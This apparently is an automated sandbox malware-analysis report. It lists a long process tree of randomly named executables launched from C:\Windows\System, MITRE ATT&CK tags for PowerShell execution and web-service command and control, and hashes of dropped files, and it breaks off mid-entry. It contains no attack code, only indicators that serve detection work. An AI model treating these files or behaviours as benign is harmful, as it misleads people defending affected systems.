- C:\Windows\System\ATevugo.exe
  C:\Windows\System\ATevugo.exe
  2⤵
  PID:8580
- C:\Windows\System\uDjFoWd.exe
  C:\Windows\System\uDjFoWd.exe
  2⤵
  PID:8588
- C:\Windows\System\BHzijlQ.exe
  C:\Windows\System\BHzijlQ.exe
  2⤵
  PID:5324
- C:\Windows\System\yXWwcvA.exe
  C:\Windows\System\yXWwcvA.exe
  2⤵
  PID:6392
- C:\Windows\System\VDXpFWb.exe
  C:\Windows\System\VDXpFWb.exe
  2⤵
  PID:9032
- C:\Windows\System\cOzrYAp.exe
  C:\Windows\System\cOzrYAp.exe
  2⤵
  PID:6488
- C:\Windows\System\ezPSVmx.exe
  C:\Windows\System\ezPSVmx.exe
  2⤵
  PID:13700
- C:\Windows\System\JWpIOIM.exe
  C:\Windows\System\JWpIOIM.exe
  2⤵
  PID:8584
- C:\Windows\System\UXreqTY.exe
  C:\Windows\System\UXreqTY.exe
  2⤵
  PID:9496
- C:\Windows\System\eBDiBTr.exe
  C:\Windows\System\eBDiBTr.exe
  2⤵
  PID:6976
- C:\Windows\System\WpDxyxw.exe
  C:\Windows\System\WpDxyxw.exe
  2⤵
  PID:9140
- C:\Windows\System\RQfnmkz.exe
  C:\Windows\System\RQfnmkz.exe
  2⤵
  PID:8888
- C:\Windows\System\QhdmTOi.exe
  C:\Windows\System\QhdmTOi.exe
  2⤵
  PID:9572
- C:\Windows\System\vEhQYmi.exe
  C:\Windows\System\vEhQYmi.exe
  2⤵
  PID:8816
- C:\Windows\System\orLWqkx.exe
  C:\Windows\System\orLWqkx.exe
  2⤵
  PID:8952
- C:\Windows\System\gdsNIUr.exe
  C:\Windows\System\gdsNIUr.exe
  2⤵
  PID:6468
- C:\Windows\System\NKpQjxX.exe
  C:\Windows\System\NKpQjxX.exe
  2⤵
  PID:1052
- C:\Windows\System\sdnyMvY.exe
  C:\Windows\System\sdnyMvY.exe
  2⤵
  PID:9440
- C:\Windows\System\oftjHrK.exe
  C:\Windows\System\oftjHrK.exe
  2⤵
  PID:3992
- C:\Windows\System\gsRLvBj.exe
  C:\Windows\System\gsRLvBj.exe
  2⤵
  PID:8700
- C:\Windows\System\vvIGbgG.exe
  C:\Windows\System\vvIGbgG.exe
  2⤵
  PID:8652
- C:\Windows\System\QCcxqpg.exe
  C:\Windows\System\QCcxqpg.exe
  2⤵
  PID:9904
- C:\Windows\System\pePdsGJ.exe
  C:\Windows\System\pePdsGJ.exe
  2⤵
  PID:6560
- C:\Windows\System\CSTcuMa.exe
  C:\Windows\System\CSTcuMa.exe
  2⤵
  PID:6604
- C:\Windows\System\ZcrwiRB.exe
  C:\Windows\System\ZcrwiRB.exe
  2⤵
  PID:9828
- C:\Windows\System\HnKQZlE.exe
  C:\Windows\System\HnKQZlE.exe
  2⤵
  PID:7872
- C:\Windows\System\ESUcpFn.exe
  C:\Windows\System\ESUcpFn.exe
  2⤵
  PID:9036
- C:\Windows\System\jIxfXdT.exe
  C:\Windows\System\jIxfXdT.exe
  2⤵
  PID:8228
- C:\Windows\System\ZuFyvTg.exe
  C:\Windows\System\ZuFyvTg.exe
  2⤵
  PID:6264
- C:\Windows\System\kXwouWs.exe
  C:\Windows\System\kXwouWs.exe
  2⤵
  PID:8948
- C:\Windows\System\WGmHKNn.exe
  C:\Windows\System\WGmHKNn.exe
  2⤵
  PID:6000
- C:\Windows\System\JgyKEkY.exe
  C:\Windows\System\JgyKEkY.exe
  2⤵
  PID:10060
- C:\Windows\System\EvrLBVi.exe
  C:\Windows\System\EvrLBVi.exe
  2⤵
  PID:10612
- C:\Windows\System\vjTYHcb.exe
  C:\Windows\System\vjTYHcb.exe
  2⤵
  PID:10368
- C:\Windows\System\ZsPYTeO.exe
  C:\Windows\System\ZsPYTeO.exe
  2⤵
  PID:10504
- C:\Windows\System\kVFWTIw.exe
  C:\Windows\System\kVFWTIw.exe
  2⤵
  PID:7552
- C:\Windows\System\vPhwUAS.exe
  C:\Windows\System\vPhwUAS.exe
  2⤵
  PID:10520
- C:\Windows\System\ykSADCw.exe
  C:\Windows\System\ykSADCw.exe
  2⤵
  PID:8756
- C:\Windows\System\xYLDsNt.exe
  C:\Windows\System\xYLDsNt.exe
  2⤵
  PID:8956
- C:\Windows\System\jNBajYn.exe
  C:\Windows\System\jNBajYn.exe
  2⤵
  PID:10604
- C:\Windows\System\HtPEnCf.exe
  C:\Windows\System\HtPEnCf.exe
  2⤵
  PID:10488
- C:\Windows\System\vdXPQum.exe
  C:\Windows\System\vdXPQum.exe
  2⤵
  PID:8928
- C:\Windows\System\cbKFwHJ.exe
  C:\Windows\System\cbKFwHJ.exe
  2⤵
  PID:10876
- C:\Windows\System\loWzYfm.exe
  C:\Windows\System\loWzYfm.exe
  2⤵
  PID:8172
- C:\Windows\System\yjaKnLV.exe
  C:\Windows\System\yjaKnLV.exe
  2⤵
  PID:10732
- C:\Windows\System\pMjthGC.exe
  C:\Windows\System\pMjthGC.exe
  2⤵
  PID:10616
- C:\Windows\System\rywzkgc.exe
  C:\Windows\System\rywzkgc.exe
  2⤵
  PID:8932
- C:\Windows\System\ntMKqGz.exe
  C:\Windows\System\ntMKqGz.exe
  2⤵
  PID:10096
- C:\Windows\System\FvqPFpO.exe
  C:\Windows\System\FvqPFpO.exe
  2⤵
  PID:8892
- C:\Windows\System\SRaPYYa.exe
  C:\Windows\System\SRaPYYa.exe
  2⤵
  PID:9120
- C:\Windows\System\eHNQgtY.exe
  C:\Windows\System\eHNQgtY.exe
  2⤵
  PID:11432
- C:\Windows\System\bVEeljL.exe
  C:\Windows\System\bVEeljL.exe
  2⤵
  PID:4888
- C:\Windows\System\kQvXBlY.exe
  C:\Windows\System\kQvXBlY.exe
  2⤵
  PID:10652
- C:\Windows\System\gjVcDZh.exe
  C:\Windows\System\gjVcDZh.exe
  2⤵
  PID:8964
- C:\Windows\System\DaJseSI.exe
  C:\Windows\System\DaJseSI.exe
  2⤵
  PID:9160
- C:\Windows\System\EKgnWrK.exe
  C:\Windows\System\EKgnWrK.exe
  2⤵
  PID:8000
- C:\Windows\System\pFqwaBI.exe
  C:\Windows\System\pFqwaBI.exe
  2⤵
  PID:6120
- C:\Windows\System\miFNoGa.exe
  C:\Windows\System\miFNoGa.exe
  2⤵
  PID:7824
- C:\Windows\System\wlFZQTn.exe
  C:\Windows\System\wlFZQTn.exe
  2⤵
  PID:9600
- C:\Windows\System\OVXfQul.exe
  C:\Windows\System\OVXfQul.exe
  2⤵
  PID:10864
- C:\Windows\System\ZigkTQu.exe
  C:\Windows\System\ZigkTQu.exe
  2⤵
  PID:10848
- C:\Windows\System\zPOTwoN.exe
  C:\Windows\System\zPOTwoN.exe
  2⤵
  PID:10540
- C:\Windows\System\OniKHSX.exe
  C:\Windows\System\OniKHSX.exe
  2⤵
  PID:11700
- C:\Windows\System\JxFInlj.exe
  C:\Windows\System\JxFInlj.exe
  2⤵
  PID:8676
- C:\Windows\System\wtQKbIq.exe
  C:\Windows\System\wtQKbIq.exe
  2⤵
  PID:9968
- C:\Windows\System\fZVLgol.exe
  C:\Windows\System\fZVLgol.exe
  2⤵
  PID:9716
- C:\Windows\System\wrYkEhb.exe
  C:\Windows\System\wrYkEhb.exe
  2⤵
  PID:6432
- C:\Windows\System\yYeOUeI.exe
  C:\Windows\System\yYeOUeI.exe
  2⤵
  PID:12084
- C:\Windows\System\oeFwWKP.exe
  C:\Windows\System\oeFwWKP.exe
  2⤵
  PID:12048
- C:\Windows\System\vNJWzwt.exe
  C:\Windows\System\vNJWzwt.exe
  2⤵
  PID:11364
- C:\Windows\System\lVdbjam.exe
  C:\Windows\System\lVdbjam.exe
  2⤵
  PID:10768
- C:\Windows\System\XyamKRQ.exe
  C:\Windows\System\XyamKRQ.exe
  2⤵
  PID:6808
- C:\Windows\System\EiWnTXg.exe
  C:\Windows\System\EiWnTXg.exe
  2⤵
  PID:8960
- C:\Windows\System\gYZFJpF.exe
  C:\Windows\System\gYZFJpF.exe
  2⤵
  PID:11328
- C:\Windows\System\UVcvabn.exe
  C:\Windows\System\UVcvabn.exe
  2⤵
  PID:11392
- C:\Windows\System\kxqREFA.exe
  C:\Windows\System\kxqREFA.exe
  2⤵
  PID:11444
- C:\Windows\System\dVFIOJp.exe
  C:\Windows\System\dVFIOJp.exe
  2⤵
  PID:452
- C:\Windows\System\ryWPQvi.exe
  C:\Windows\System\ryWPQvi.exe
  2⤵
  PID:10024
- C:\Windows\System\XpyvYxs.exe
  C:\Windows\System\XpyvYxs.exe
  2⤵
  PID:9232
- C:\Windows\System\bCxQUIs.exe
  C:\Windows\System\bCxQUIs.exe
  2⤵
  PID:11620
- C:\Windows\System\PrcjtFk.exe
  C:\Windows\System\PrcjtFk.exe
  2⤵
  PID:12864
- C:\Windows\System\iuglDpS.exe
  C:\Windows\System\iuglDpS.exe
  2⤵
  PID:12888
- C:\Windows\System\oHuWITr.exe
  C:\Windows\System\oHuWITr.exe
  2⤵
  PID:1056
- C:\Windows\System\XBmZgci.exe
  C:\Windows\System\XBmZgci.exe
  2⤵
  PID:10164
- C:\Windows\System\vObqDhE.exe
  C:\Windows\System\vObqDhE.exe
  2⤵
  PID:10568
- C:\Windows\System\GhQScuk.exe
  C:\Windows\System\GhQScuk.exe
  2⤵
  PID:6832
- C:\Windows\System\bZjYRba.exe
  C:\Windows\System\bZjYRba.exe
  2⤵
  PID:12076
- C:\Windows\System\tNnLmGc.exe
  C:\Windows\System\tNnLmGc.exe
  2⤵
  PID:10680
- C:\Windows\System\AynSgdl.exe
  C:\Windows\System\AynSgdl.exe
  2⤵
  PID:7096
- C:\Windows\System\vKkklYg.exe
  C:\Windows\System\vKkklYg.exe
  2⤵
  PID:11788
- C:\Windows\System\CePGczX.exe
  C:\Windows\System\CePGczX.exe
  2⤵
  PID:11808
- C:\Windows\System\nMpNxRe.exe
  C:\Windows\System\nMpNxRe.exe
  2⤵
  PID:10260
- C:\Windows\System\godeaEJ.exe
  C:\Windows\System\godeaEJ.exe
  2⤵
  PID:13224
- C:\Windows\System\tKsGOZd.exe
  C:\Windows\System\tKsGOZd.exe
  2⤵
  PID:10600
- C:\Windows\System\gLPpdvu.exe
  C:\Windows\System\gLPpdvu.exe
  2⤵
  PID:13204
- C:\Windows\System\UYKtbxq.exe
  C:\Windows\System\UYKtbxq.exe
  2⤵
  PID:12348
- C:\Windows\System\NFoMZyX.exe
  C:\Windows\System\NFoMZyX.exe
  2⤵
  PID:12832
- C:\Windows\System\zllmjgv.exe
  C:\Windows\System\zllmjgv.exe
  2⤵
  PID:10636
- C:\Windows\System\AGxTNpu.exe
  C:\Windows\System\AGxTNpu.exe
  2⤵
  PID:12952
- C:\Windows\System\coxrbNk.exe
  C:\Windows\System\coxrbNk.exe
  2⤵
  PID:11380
- C:\Windows\System\qMAYqwE.exe
  C:\Windows\System\qMAYqwE.exe
  2⤵
  PID:6692
- C:\Windows\System\mmetxeq.exe
  C:\Windows\System\mmetxeq.exe
  2⤵
  PID:10248
- C:\Windows\System\OVHedxV.exe
  C:\Windows\System\OVHedxV.exe
  2⤵
  PID:13088
- C:\Windows\System\mXnBRUR.exe
  C:\Windows\System\mXnBRUR.exe
  2⤵
  PID:7964
- C:\Windows\System\rWidIMQ.exe
  C:\Windows\System\rWidIMQ.exe
  2⤵
  PID:10800
- C:\Windows\System\ZmSbxjx.exe
  C:\Windows\System\ZmSbxjx.exe
  2⤵
  PID:10928
- C:\Windows\System\FnliMDY.exe
  C:\Windows\System\FnliMDY.exe
  2⤵
  PID:11744
- C:\Windows\System\yhMDgkZ.exe
  C:\Windows\System\yhMDgkZ.exe
  2⤵
  PID:1168
- C:\Windows\System\dktbVgs.exe
  C:\Windows\System\dktbVgs.exe
  2⤵
  PID:10236
- C:\Windows\System\JIAnxhD.exe
  C:\Windows\System\JIAnxhD.exe
  2⤵
  PID:12192
- C:\Windows\System\mRjISod.exe
  C:\Windows\System\mRjISod.exe
  2⤵
  PID:12664
- C:\Windows\System\YmcHiYw.exe
  C:\Windows\System\YmcHiYw.exe
  2⤵
  PID:11836
- C:\Windows\System\ZjaBWBO.exe
  C:\Windows\System\ZjaBWBO.exe
  2⤵
  PID:11660
- C:\Windows\System\GWGVKLT.exe
  C:\Windows\System\GWGVKLT.exe
  2⤵
  PID:11776
- C:\Windows\System\yBjdChz.exe
  C:\Windows\System\yBjdChz.exe
  2⤵
  PID:11780
- C:\Windows\System\dodcfUL.exe
  C:\Windows\System\dodcfUL.exe
  2⤵
  PID:12796
- C:\Windows\System\EqDwXmE.exe
  C:\Windows\System\EqDwXmE.exe
  2⤵
  PID:11860
- C:\Windows\System\YGfyHGQ.exe
  C:\Windows\System\YGfyHGQ.exe
  2⤵
  PID:11580
- C:\Windows\System\jEDNZDV.exe
  C:\Windows\System\jEDNZDV.exe
  2⤵
  PID:10696
- C:\Windows\System\TwJIAkq.exe
  C:\Windows\System\TwJIAkq.exe
  2⤵
  PID:11248
- C:\Windows\System\DFOKJTd.exe
  C:\Windows\System\DFOKJTd.exe
  2⤵
  PID:12240
- C:\Windows\System\ygIeawU.exe
  C:\Windows\System\ygIeawU.exe
  2⤵
  PID:6672
- C:\Windows\System\xIfCKlj.exe
  C:\Windows\System\xIfCKlj.exe
  2⤵
  PID:11384
- C:\Windows\System\FEVfgiz.exe
  C:\Windows\System\FEVfgiz.exe
  2⤵
  PID:10152
- C:\Windows\System\XYAgGno.exe
  C:\Windows\System\XYAgGno.exe
  2⤵
  PID:2188
- C:\Windows\System\PAaMYCH.exe
  C:\Windows\System\PAaMYCH.exe
  2⤵
  PID:12648
- C:\Windows\System\EaTYDar.exe
  C:\Windows\System\EaTYDar.exe
  2⤵
  PID:12164
- C:\Windows\System\feAuRjF.exe
  C:\Windows\System\feAuRjF.exe
  2⤵
  PID:12328
- C:\Windows\System\TuelKWG.exe
  C:\Windows\System\TuelKWG.exe
  2⤵
  PID:12452
- C:\Windows\System\uHmQHhp.exe
  C:\Windows\System\uHmQHhp.exe
  2⤵
  PID:11112
- C:\Windows\System\jvbgkix.exe
  C:\Windows\System\jvbgkix.exe
  2⤵
  PID:7460
- C:\Windows\System\psSqNlh.exe
  C:\Windows\System\psSqNlh.exe
  2⤵
  PID:13092
- C:\Windows\System\fSegWVv.exe
  C:\Windows\System\fSegWVv.exe
  2⤵
  PID:12964
- C:\Windows\System\EvMxMpn.exe
  C:\Windows\System\EvMxMpn.exe
  2⤵
  PID:13156
- C:\Windows\System\ryDTHbR.exe
  C:\Windows\System\ryDTHbR.exe
  2⤵
  PID:13264
- C:\Windows\System\OOZaFZo.exe
  C:\Windows\System\OOZaFZo.exe
  2⤵
  PID:9060
- C:\Windows\System\DsBkNQz.exe
  C:\Windows\System\DsBkNQz.exe
  2⤵
  PID:13260
- C:\Windows\System\rTuZUdW.exe
  C:\Windows\System\rTuZUdW.exe
  2⤵
  PID:11812
- C:\Windows\System\rxiCRnG.exe
  C:\Windows\System\rxiCRnG.exe
  2⤵
  PID:11616
- C:\Windows\System\aBOfOTW.exe
  C:\Windows\System\aBOfOTW.exe
  2⤵
  PID:11452
- C:\Windows\System\XeUDzHA.exe
  C:\Windows\System\XeUDzHA.exe
  2⤵
  PID:4296
- C:\Windows\System\SvbpxVk.exe
  C:\Windows\System\SvbpxVk.exe
  2⤵
  PID:11448
- C:\Windows\System\txerLEq.exe
  C:\Windows\System\txerLEq.exe
  2⤵
  PID:11468
- C:\Windows\System\PzYgMEK.exe
  C:\Windows\System\PzYgMEK.exe
  2⤵
  PID:12612
- C:\Windows\System\MWajVFH.exe
  C:\Windows\System\MWajVFH.exe
  2⤵
  PID:10860
- C:\Windows\System\MXnusSj.exe
  C:\Windows\System\MXnusSj.exe
  2⤵
  PID:14360
- C:\Windows\System\QjVEkmI.exe
  C:\Windows\System\QjVEkmI.exe
  2⤵
  PID:14392
- C:\Windows\System\RtLbqYz.exe
  C:\Windows\System\RtLbqYz.exe
  2⤵
  PID:14416
- C:\Windows\System\MSzkTID.exe
  C:\Windows\System\MSzkTID.exe
  2⤵
  PID:14448
- C:\Windows\System\zoVyCga.exe
  C:\Windows\System\zoVyCga.exe
  2⤵
  PID:14476
- C:\Windows\System\BavyGsu.exe
  C:\Windows\System\BavyGsu.exe
  2⤵
  PID:14508
- C:\Windows\System\Wiahdyu.exe
  C:\Windows\System\Wiahdyu.exe
  2⤵
  PID:14544
- C:\Windows\System\SIXoDqa.exe
  C:\Windows\System\SIXoDqa.exe
  2⤵
  PID:14700
- C:\Windows\System\fKUmnFr.exe
  C:\Windows\System\fKUmnFr.exe
  2⤵
  PID:14716
- C:\Windows\System\OJsBCDv.exe
  C:\Windows\System\OJsBCDv.exe
  2⤵
  PID:14760
- C:\Windows\System\rCdDvSb.exe
  C:\Windows\System\rCdDvSb.exe
  2⤵
  PID:14776
- C:\Windows\System\xOgAUQr.exe
  C:\Windows\System\xOgAUQr.exe
  2⤵
  PID:14792
- C:\Windows\System\wRsbCFk.exe
  C:\Windows\System\wRsbCFk.exe
  2⤵
  PID:14844
- C:\Windows\System\NjTPxVf.exe
  C:\Windows\System\NjTPxVf.exe
  2⤵
  PID:14876
- C:\Windows\System\VRsOZMZ.exe
  C:\Windows\System\VRsOZMZ.exe
  2⤵
  PID:14904
- C:\Windows\System\KtQlDoH.exe
  C:\Windows\System\KtQlDoH.exe
  2⤵
  PID:14940
- C:\Windows\System\ATwpVar.exe
  C:\Windows\System\ATwpVar.exe
  2⤵
  PID:14980
- C:\Windows\System\sxisLOD.exe
  C:\Windows\System\sxisLOD.exe
  2⤵
  PID:15004
- C:\Windows\System\qVhkMXr.exe
  C:\Windows\System\qVhkMXr.exe
  2⤵
  PID:15032
- C:\Windows\System\SaSJcmj.exe
  C:\Windows\System\SaSJcmj.exe
  2⤵
  PID:15052
- C:\Windows\System\NHydgrH.exe
  C:\Windows\System\NHydgrH.exe
  2⤵
  PID:15096
- C:\Windows\System\BtDkXKP.exe
  C:\Windows\System\BtDkXKP.exe
  2⤵
  PID:15116
- C:\Windows\System\NtHqGvP.exe
  C:\Windows\System\NtHqGvP.exe
  2⤵
  PID:15132
- C:\Windows\System\ttJyizL.exe
  C:\Windows\System\ttJyizL.exe
  2⤵
  PID:15176
- C:\Windows\System\RwgMOLJ.exe
  C:\Windows\System\RwgMOLJ.exe
  2⤵
  PID:15216
- C:\Windows\System\nIPAKML.exe
  C:\Windows\System\nIPAKML.exe
  2⤵
  PID:15248
- C:\Windows\System\NgendOn.exe
  C:\Windows\System\NgendOn.exe
  2⤵
  PID:15284
- C:\Windows\System\ZhORynn.exe
  C:\Windows\System\ZhORynn.exe
  2⤵
  PID:15312
- C:\Windows\System\zKxZnya.exe
  C:\Windows\System\zKxZnya.exe
  2⤵
  PID:15332
- C:\Windows\System\feiclJj.exe
  C:\Windows\System\feiclJj.exe
  2⤵
  PID:10464
- C:\Windows\System\DQzWhoB.exe
  C:\Windows\System\DQzWhoB.exe
  2⤵
  PID:12876
- C:\Windows\System\npTVcaE.exe
  C:\Windows\System\npTVcaE.exe
  2⤵
  PID:13064
- C:\Windows\System\bkkFDGh.exe
  C:\Windows\System\bkkFDGh.exe
  2⤵
  PID:13232
- C:\Windows\System\LwTHsya.exe
  C:\Windows\System\LwTHsya.exe
  2⤵
  PID:10820
- C:\Windows\System\jAaVZaa.exe
  C:\Windows\System\jAaVZaa.exe
  2⤵
  PID:14436
- C:\Windows\System\iwIyYkQ.exe
  C:\Windows\System\iwIyYkQ.exe
  2⤵
  PID:11716
- C:\Windows\System\CbNAwkm.exe
  C:\Windows\System\CbNAwkm.exe
  2⤵
  PID:11148
- C:\Windows\System\yxNhtlP.exe
  C:\Windows\System\yxNhtlP.exe
  2⤵
  PID:14460
- C:\Windows\System\QfZiYkL.exe
  C:\Windows\System\QfZiYkL.exe
  2⤵
  PID:14488
- C:\Windows\System\onqzMjA.exe
  C:\Windows\System\onqzMjA.exe
  2⤵
  PID:14604
- C:\Windows\System\bCNsaoJ.exe
  C:\Windows\System\bCNsaoJ.exe
  2⤵
  PID:14668
- C:\Windows\System\nhbAsLT.exe
  C:\Windows\System\nhbAsLT.exe
  2⤵
  PID:14692
- C:\Windows\System\yCzuWHE.exe
  C:\Windows\System\yCzuWHE.exe
  2⤵
  PID:10408
- C:\Windows\System\uGmYYDj.exe
  C:\Windows\System\uGmYYDj.exe
  2⤵
  PID:13056
- C:\Windows\System\TMCdZAg.exe
  C:\Windows\System\TMCdZAg.exe
  2⤵
  PID:14812
- C:\Windows\System\YvXZbPK.exe
  C:\Windows\System\YvXZbPK.exe
  2⤵
  PID:14820
- C:\Windows\System\CWFJPTU.exe
  C:\Windows\System\CWFJPTU.exe
  2⤵
  PID:14888
- C:\Windows\System\GlRULch.exe
  C:\Windows\System\GlRULch.exe
  2⤵
  PID:14932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\Y2LQBQ0P\home-993d2c38b2c1[1].css

Filesize
11KB

MD5
6328d6d9a6b00ce7f992230b97b17c1f

SHA1
88837b802bdde407e37e92641072ea2eeec95556

SHA256
c9d9b80794cebd7d97daf52f7f0ce0e31bcf7a6f65a6e07851c688d67f10dba8

SHA512
993d2c38b2c15499aebdb39c1f9c21d0501d4c2a5973caec65be9ddc3ddfd6e46d06449e7483daa4fa9afa17cb81ff27a391519a64629169eb15c52911aab2c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_khw2o4hr.e1w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\BHEUhoP.exe

Filesize
1.9MB

MD5
0b92ecc636d5b0ee72f25acea5cf0ecd

SHA1
9e4296f32a070c3010b865e6a9bf91ea1e97666a

SHA256
e7236cfab9d1bb6a2b393484dd1916e5f963a03f81e0581af2044448412bc72f

SHA512
19ecce676fb4d913db06970df48e9960dcf5eddd0e494bdbffb6d127d6d6779d6971d91293c6d73716ab7facad9ad1ca12fd6dfa7c4bbd76fe316493afb56f65

Download Submit
C:\Windows\System\CdkCfvz.exe

Filesize
1.9MB

MD5
cd4f1c456791b0ad9207e44791c3c400

SHA1
890e2d75109a4232b4430393d194c2babff10f1d

SHA256
9d7dd90a683e9b298b8d437669740d5cd1b92e821103965b63826a1d8c939140

SHA512
fbe9dde9cea3d5fdb5e9f9c992163416c4dbb0bd7263209ec36069b8b1e9bd5ab147cf08198221acb7bf74f90136007847964e8e670538577045e969c80acb28

Download Submit
C:\Windows\System\CvHLzQI.exe

Filesize
1.9MB

MD5
3e8425558eb514bc89f118ab85ea4f31

SHA1
46afb8689e334882578663de2394d72685230554

SHA256
5e5fcf2ccd38a97f50cb4099935d10f0bae2c7fcd785569c88152aff8db35232

SHA512
557172b2ed5e78c70c7326ef15b0d73d3b85491efe3296bcffe5c7969c525fcacde47906d6423d545745bae3fac4f589c92b3eadd07e857c1475d5ef6c460747

Download Submit
C:\Windows\System\DMTkMOH.exe

Filesize
1.9MB

MD5
94ecf07c8a101a6dfce39e8db5575ca1

SHA1
fe21f0e7e68038eddc48e905960967c99c6ea35e

SHA256
423ef54c5d101f40c800476410160a7824d74e98b1de6ffec913bf9d9ce24fb9

SHA512
210fafd4c3a5bf0032dfd01339ab97d6d510a20841eb2007f9130d7df746645473ac6638218edb29b1219cd5e712c4e869765676ce75a9d34f2efb76f5489c81

Download Submit
C:\Windows\System\DqcWraw.exe

Filesize
1.9MB

MD5
520eb8173c3440b9e9d42b9a09178dd7

SHA1
52bebb40baf6e09ef9890857908d1fe8b13a143e

SHA256
63bf34222f5f718c4f5951bf26ccc711ff487626bf635d17c4eb6a3e6d65dedc

SHA512
5369f2314ebc38c3b51b8d5ba3fa2ba0ea43d518de3af3123f6f97183d2b486832a60620facd0d2c4e1cb3a84166a97e56f32a3422e98413258d1677b9084245

Download Submit
C:\Windows\System\EeqpmNb.exe

Filesize
1.9MB

MD5
bab87dd71b6ad263872d8a93fb55b22b

SHA1
9759752965a70753e3a5d52b65a3675517767b7e

SHA256
e715c1873be069cb82f17eb519781976a0de4e2df252756f73b6eac345e7caa7

SHA512
c9148360b3af26daf9f6296fa74b2b66fa3ac94f26bc726dbba514061a953ed96ae2ce97c988a04c61e17ce62850f116366c75d6b7f72a4d3a32a4edf2fa5008

Download Submit
C:\Windows\System\HjIoGIt.exe

Filesize
1.9MB

MD5
c882a5d301b1475b242a48ab0f16f9ab

SHA1
b206b39b64bf0f2db14250328d168dce3c3358b8

SHA256
777c75c0b94688754329a3d16d9afd1d5c23735fcf4ac55d9783690343560108

SHA512
0df2f67fb6c6fdff21aba935fbacacb0bba804f5b506b5ac30363b9e4c76789f6f506ac178d737d26d2c982bbb53e51ccfa7fc9f632e890a6182998f17e9d5f1

Download Submit
C:\Windows\System\IXFaTEH.exe

Filesize
1.9MB

MD5
c36bac09697528c0192a01e43594962f

SHA1
e6447ff8d88625d502f1ea084e4b9c7e76441e72

SHA256
a76a0a8220989e02520052da5f77db150d97d5e54e90fe071962e5ebe26bb1a6

SHA512
78d45735dfdce93becac3b738ca2b19e8905fc4c3b4fdb3a44b4a4290163f33e22e30d21f1c1cb5edfca4882a572e90eb55b074002e00867c417b7aa1560c470

Download Submit
C:\Windows\System\ItlQyAP.exe

Filesize
1.9MB

MD5
8fca40d07acae210845d8af305067e24

SHA1
aa481f45adc41b895c20f882621780364d6fb277

SHA256
907994c85d57a35f1f9b810d46e4372dd7cc73835d5f0c9f94719bb9a1798dbb

SHA512
823ff6bba20e54b701c8d33376d1f29bb98d443214ba916a2041498b07724ad8b3307a5c1ee8165784728fb901a7dcdaed3d7b6f0ea47c2dbd37a488b0c8ab37

Download Submit
C:\Windows\System\KorgsrO.exe

Filesize
1.9MB

MD5
3e9b575da86974c799ed9ef8f97f175c

SHA1
076d91fefacb864cdd578941d3240b7dbe27d0c0

SHA256
2b4cfc4df20d5e0def59155fa98386bec767c33f25b3764a034be64fdc3bb6e2

SHA512
85729f113efeb11c8dd32bf081ca59f83015909e20ae98e3740ef189a5d8166a17f165421a5421e551d8815d08944317daeef6bec37c4215417cba4847ec198d

Download Submit
C:\Windows\System\LWWVDIG.exe

Filesize
1.9MB

MD5
dbd4f615dc6473a6b5f134840af246fa

SHA1
ab3c787fce26d42ab96f54eaa0bf4d161a1bb557

SHA256
fe3026fec5d7e6d0050091de282283c464832ec48b35be647efdf3700991e3bc

SHA512
8dbaa35af07e0d135763db1c029d648588d08c9797cf6ab92265571ec66524c942bc604e3bb942ef3e2ec5e2aa0decfa713223ccaaf1abda777e677e027879cb

Download Submit
C:\Windows\System\MKXaSDy.exe

Filesize
18B

MD5
b5af15b91ef901dbbad280bf2ec97d3f

SHA1
b8fc44effcf94c604b3a330099fdd05d70ca2290

SHA256
4b241b0358bbe69bc40fb7c8558ef0dacf7a7dd595b9974e7ee1287f6f6a57a6

SHA512
77e9e1cd7604d29efe33ea37dfc85035465c8eb4a6b1edf396f009c9427a6171460e7b24fac454a276653572360ea48634eb43a059b68dd9d91460bd58c1ddf1

Download Submit
C:\Windows\System\MaIcnig.exe

Filesize
8B

MD5
9e16362b7eef9ff59cf4576b688fec20

SHA1
58714a79316bdda8b345ca47c2a7e8087e024871

SHA256
cb157cd47cb9ddacb8fa194262e9cc1364ca68490d93ad041938e77ef90ead7c

SHA512
53056e2e9a952538e1c61538c2bad2166adaf2d4a03d0e97e211329cd7f80967988343aa21690b08c2f1ad6d3fabfdc6095392f57b127d575de79d724d1a09de

Download Submit
C:\Windows\System\PblGktI.exe

Filesize
1.9MB

MD5
7f0a1492e84f03c3050ab8467d310496

SHA1
dfa9cdf747cff3f068284061b9ddb031ca89ac61

SHA256
4cdc879fd30a47a4178751556b579cd9b227755981f098cfc64264d94383f6eb

SHA512
079e21c6359b518ad68c81ca2d7f432f82da17c2835fb6565229c57f3fe7cf24912a50e1a29bdc222c1471966e15323c6895187ef93f20116b2d8a446cbd92bc

Download Submit
C:\Windows\System\PmghCyh.exe

Filesize
1.9MB

MD5
be1f6ed1ebda005c6d30f4c7ec6971d9

SHA1
8b21f094f005cf17bc109c3ced6876d143f4d140

SHA256
9313d69c9aac8759c6b2d4a9305a97aa721944969b240b3f8c7b6872898a38be

SHA512
bc63ba8b946b3ae35aaca78dd63362e2cf99afab96f2af97988d451a952e87ed901ddfee78afe12aa60fbdf1ae5401a893e774e2e10b41a21a2cdcb36a1040bd

Download Submit
C:\Windows\System\QEcDkgt.exe

Filesize
1.9MB

MD5
9a87bef9c5b0e8c41f965398efc06a96

SHA1
56404939f71f7805e0a8ce570fe1b3db4c4d4ac0

SHA256
f299c3d19cd2620bcef3460f761d58d8c0c2233a860141361dac92eab7df1e05

SHA512
4cc116b57dfcb1b5de88ff54a24a7883a13af132b1a62fdc09889dacb84ede63603e2c286f431a0b1d32e9c783b761d03037f2867914dbd2aee7629e765eb605

Download Submit
C:\Windows\System\SIwmbSP.exe

Filesize
1.9MB

MD5
d35331a29039e03e5dcdc4a362248dcc

SHA1
add1b5b12f6cd0b0c1bccc103916d19805b26813

SHA256
